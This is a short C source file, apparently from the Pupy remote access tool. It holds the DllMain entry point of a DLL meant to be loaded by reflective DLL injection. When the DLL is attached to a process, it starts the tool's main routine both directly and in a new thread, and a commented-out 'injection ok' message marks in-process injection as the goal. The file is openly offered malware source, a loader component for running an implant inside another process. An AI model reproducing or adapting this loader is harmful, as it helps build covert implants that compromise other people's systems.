pupy/client/sources/main_reflective.c

46 lines
1.2 KiB
C

/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#pragma comment(lib, "user32")
#include <windows.h>
#include "pupy_load.h"
#include "ReflectiveDllInjection.h"
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
HANDLE hThread;
DWORD threadId;
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
//MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION);
hAppInstance = hinstDLL;
mainThread(NULL);
hThread = CreateThread(NULL,
0, // dwStackSize
mainThread, // lpStartAddress
NULL, // lpParameter
0, // dwCreationFlags (0==run right after creation)
&threadId
);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}